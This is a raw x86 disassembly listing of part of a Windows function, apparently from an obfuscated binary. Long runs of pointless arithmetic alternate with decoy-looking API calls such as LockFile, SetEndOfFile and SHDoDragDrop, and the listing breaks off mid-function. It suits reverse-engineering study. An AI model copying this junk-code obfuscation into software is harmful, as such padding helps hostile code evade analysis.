mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x105]
and eax, ecx
mov byte [ebp - 0x251], al
movzx edx, word [ebp - 0x1a0]
movzx eax, word [ebp - 0x198]
add edx, eax
mov word [ebp - 0x110], dx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc0]
add eax, dword [ecx]
mov dword [ebp - 0x150], eax
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xf0]
add eax, dword [edx]
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1a0], dx
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x771662], al
movsx eax, word [ebp - 0x64]
movsx ecx, word [ebp - 0x100]
add eax, ecx
mov word [ebp - 0x268], ax
movsx edx, byte [ebp - 0x65]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x40]
add ecx, 0x33
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x16c]
shr edx, cl
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0xac]
or eax, dword [ebp - 0xbc]
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x110], dx
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x251], dl
mov edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xf0]
add eax, dword [edx]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
movsx ecx, word [ebp - 0x100]
movsx edx, word [ebp - 0x268]
and ecx, edx
mov word [0x41b004], cx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x251], al
movzx eax, word [ebp - 0x198]
movzx ecx, word [ebp - 0x110]
add eax, ecx
mov edx, dword [ebp - 0x224]
mov word [edx], ax
push 0
push 0x66c
push 0x1d0b
push 0x42
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x16c]
sub edx, dword [ecx]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xac]
sub ecx, dword [eax]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x48]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x150]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0xd0]
mov dword [eax], edx
push 0xd
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x280], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xbc]
shl edx, cl
mov eax, dword [ebp - 0xc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x65]
or edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x65]
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3c]
mov byte [eax], dl
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1a9], dl
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x198], ax
cmp dword [ebp - 0x40], 0xf04b
jbe 0x405560
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xb4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], eax
movzx ecx, byte [ebp - 0x105]
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xdc]
mov byte [edx], cl
movzx eax, word [ebp - 0x110]
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xec]
mov word [ecx], ax
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xac]
add eax, dword [edx]
mov ecx, dword [ebp - 0x14c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x16c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
push 0x154a
push 0x8f4
push 0x3b4f
push 0x3753
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x150]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0x24c]
add edx, 0xd0
mov dword [ebp - 0x24c], edx
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0xbc]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xd0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x251]
movzx edx, byte [ebp - 0x105]
or ecx, edx
mov eax, dword [ebp - 0x160]
mov byte [eax], cl
movzx ecx, word [ebp - 0x110]
movzx edx, word [ebp - 0x1d8]
xor ecx, edx
mov word [ebp - 0x26c], cx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x16c]
shr eax, cl
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x150]
and ecx, dword [ebp - 0x17c]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0x1b0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x65]
sub eax, ecx
mov edx, dword [ebp - 0x3c]
mov byte [edx], al
movzx eax, word [ebp - 0x110]
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xec]
mov word [ecx], ax
movzx edx, byte [ebp - 0x105]
movzx eax, byte [ebp - 0x251]
add edx, eax
mov byte [0x41b006], dl
movzx ecx, byte [ebp - 0x251]
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xdc]
mov byte [edx], cl
push 0xe
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [eax]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x48]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
sub eax, dword [ebp - 0xbc]
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0x16c]
add ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x150]
add edx, dword [ebp - 0xac]
mov dword [ebp - 0x17c], edx
movzx eax, word [ebp - 0x110]
mov ecx, dword [ebp - 0x224]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x26c], ax
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x105], al
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xf0]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xd0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x48]
mov dword [edx], ecx
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x280], eax
mov edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xf0]
add eax, dword [edx]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x24c], 0x69f7
jne 0x405908
movzx ecx, word [ebp - 0x1a0]
movzx edx, word [ebp - 0x110]
add ecx, edx
mov word [ebp - 0x198], cx
movzx eax, byte [ebp - 0x1a9]
movzx ecx, byte [ebp - 0x251]
add eax, ecx
mov byte [ebp - 0x105], al
movsx edx, word [0x41b004]
movsx eax, word [ebp - 0x100]
sub edx, eax
mov word [ebp - 0x64], dx
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x65], dl
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x16c]
add eax, dword [edx]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
and edx, ecx
mov byte [0x771662], dl
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x251], al
mov eax, dword [ebp - 0x170]
sub eax, 0x20
mov dword [ebp - 0x170], eax
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x26c]
sar edx, cl
mov word [ebp - 0x198], dx
mov eax, dword [ebp - 0x2c8]
or eax, dword [ebp - 0x5c]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xc0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xac]
xor edx, dword [ecx]
mov dword [ebp - 0xbc], edx
push 0xb
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x16c]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0xec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1a0], dx
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [0x771662]
sub eax, ecx
mov byte [ebp - 0x105], al
cmp dword [ebp - 0x170], 0x1b43
jae 0x405bb7
movzx edx, word [ebp - 0x26c]
movzx eax, word [ebp - 0x110]
sub edx, eax
mov word [0x7705c8], dx
movzx ecx, word [ebp - 0x1a0]
mov dword [ebp - 0x2f8], ecx
cmp dword [ebp - 0x2f8], 0
je 0x405d2f
jmp 0x405db1
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx]
add eax, dword [ebp - 0x17c]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
sub edx, ecx
movzx eax, word [ebp - 0x1a0]
movzx ecx, word [0x7705c8]
add eax, ecx
cmp edx, eax
jge 0x405daf
mov edx, dword [ebp - 0xbc]
mov dword [ebp - 0xb8], edx
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx]
add edx, dword [ebp - 0xbc]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x268]
mov dword [ebp - 0xe0], ecx
jmp 0x405dd0
mov edx, dword [ebp - 0x1b0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x65]
sub eax, ecx
mov edx, dword [ebp - 0x3c]
mov byte [edx], al
mov ecx, dword [ebp - 0x16c]
call fcn.00408710
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x198], cx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ecx]
mov dword [0x771664], edx
mov eax, dword [ebp - 0x1c0]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x251], dl
movsx ecx, word [ebp - 0x268]
mov dword [ebp - 0x2fc], ecx
cmp dword [ebp - 0x2fc], 0x221
je 0x405e31
jmp 0x405ebe
movzx edx, byte [ebp - 0x251]
push edx
call fcn.00404410
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xb4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [0x771664], edx
movzx eax, word [ebp - 0x110]
movzx ecx, word [ebp - 0x1d8]
sub eax, ecx
mov word [ebp - 0x1a0], ax
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x1a9], al
lea eax, [ebp - 0x44]
push eax
push 0xf4
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x264]
push eax
call dword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
jmp 0x408627
movsx ecx, byte [ebp - 0x65]
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1b0]
movsx eax, byte [edx]
cmp ecx, eax
jge 0x405ef0
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x65], dl
jmp 0x4085fe
mov edx, dword [ebp - 0x160]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xdc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x251]
sub edx, ecx
cmp eax, edx
jg 0x4085fe
mov edx, dword [ebp - 0xe0]
movsx eax, word [edx]
movsx ecx, word [0x41b004]
shl eax, cl
mov word [ebp - 0x64], ax
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x105]
xor edx, eax
mov byte [ebp - 0x1a9], dl
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x110], dx
mov edx, dword [ebp - 0xb4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2c8]
mov dword [0x771664], eax
mov ecx, dword [ebp - 0x16c]
add ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
and eax, dword [ebp - 0x1b8]
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0xbc]
add edx, dword [ecx]
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xf0]
add eax, dword [ebp - 0x150]
mov dword [ebp - 0xac], eax
movzx ecx, word [ebp - 0x1d8]
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x26c], cx
movzx ecx, byte [ebp - 0x1a9]
movzx edx, byte [ebp - 0x105]
sub ecx, edx
mov byte [ebp - 0x251], cl
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [eax]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xd0]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xb0]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [0x771664], edx
movzx eax, byte [ebp - 0x1a9]
mov ecx, dword [ebp - 0x160]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x105], al
lea edx, [ebp - 0x2b8]
push edx
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x2c4], eax
movzx ecx, word [ebp - 0x110]
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x224]
mov word [edx], cx
movsx eax, word [ebp - 0x268]
mov ecx, dword [ebp - 0xe0]
movsx edx, word [ecx]
add eax, edx
mov word [ebp - 0x64], ax
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x65], cl
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x2c8]
add edx, dword [ecx]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x17c]
mov dword [ebp - 0xac], ecx
movzx edx, byte [ebp - 0x1a9]
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x251], dl
movzx edx, word [ebp - 0x26c]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x224]
mov word [eax], dx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x16c]
mov dword [0x771664], edx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x2c8]
add ecx, dword [eax]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x150]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x1b8]
xor eax, dword [edx]
mov dword [ebp - 0xac], eax
push 0xf
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x105], dl
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xec]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x1a0], ax
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
and edx, dword [ebp - 0xb8]
mov dword [ebp - 0x1b8], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x1b8]
sub ecx, dword [eax]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0xf0]
add edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0xf0]
add edx, dword [ecx]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0xf4]
sub eax, 0xd5
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x1b0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x65], dl
mov edx, dword [ebp - 0xe0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x100]
sub eax, ecx
mov word [ebp - 0x64], ax
mov edx, dword [ebp - 0xdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0xdc]
mov byte [ecx], al
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x26c]
add eax, ecx
mov word [ebp - 0x198], ax
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x5c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x251]
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x1c0]
mov byte [eax], dl
movzx edx, word [ebp - 0x1a0]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
shl edx, cl
mov word [0x7705c8], dx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0xb4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
cmp dword [ebp - 0xf4], 0x215d
ja 0x405f1e
lea edx, [ebp - 0xf0]
mov dword [ebp - 0x25c], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
and ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x25c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1d8]
movzx ecx, word [ebp - 0x198]
add eax, ecx
mov word [ebp - 0x26c], ax
movzx edx, byte [ebp - 0x1a9]
mov eax, dword [ebp - 0xdc]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x251], dl
mov edx, dword [0x771664]
add edx, dword [ebp - 0x5c]
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x17c]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x25c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x268]
add ecx, edx
mov word [0x41b004], cx
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x65], cl
movzx ecx, word [ebp - 0x110]
movzx edx, word [ebp - 0x1d8]
and ecx, edx
mov word [ebp - 0x26c], cx
movzx eax, byte [0x771662]
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xdc]
mov byte [ecx], al
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x17c]
sar edx, cl
mov dword [ebp - 0x1b8], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
or ecx, dword [0x771664]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x150]
sub edx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0x160]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
and ecx, eax
mov byte [0x771662], cl
movzx ecx, word [0x7705c8]
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1a0], cx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1c4], eax
mov ecx, dword [ebp - 0x54]
add ecx, 0x54
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0xf0]
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1b8]
add edx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xf0]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x160]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x105], al
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1d8]
add ecx, edx
mov word [ebp - 0x26c], cx
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x2c4], eax
mov ecx, dword [ebp - 0x1b0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x65], dl
movsx edx, word [ebp - 0x100]
mov eax, dword [ebp - 0xe0]
movsx ecx, word [eax]
xor edx, ecx
mov word [0x41b004], dx
mov edx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x17c]
or edx, dword [ecx]
mov dword [ebp - 0xbc], edx
movzx eax, byte [ebp - 0x1a9]
movzx ecx, byte [ebp - 0x105]
sar eax, cl
mov byte [ebp - 0x251], al
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xec]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1d8], dx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
sub eax, dword [0x771664]
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x2c4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1d4], eax
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx]
and eax, dword [ebp - 0xbc]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xf0]
add edx, dword [ecx]
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], ecx
movzx edx, byte [ebp - 0x105]
movzx eax, byte [ebp - 0x1a9]
add edx, eax
mov ecx, dword [ebp - 0x1c0]
mov byte [ecx], dl
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
movzx ecx, word [0x7705c8]
sub eax, ecx
mov word [ebp - 0x1a0], ax
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0xd0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [0x771664]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
cmp dword [ebp - 0x54], 0x2874
jbe 0x40631c
mov ecx, dword [ebp - 0xe0]
movsx edx, word [ecx]
mov dword [ebp - 0x300], edx
cmp dword [ebp - 0x300], 0x652
je 0x406695
jmp 0x4066d3
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x25c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xbc], edx
movzx eax, byte [ebp - 0x65]
push eax
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0x25c]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx]
push edx
call fcn.00404350
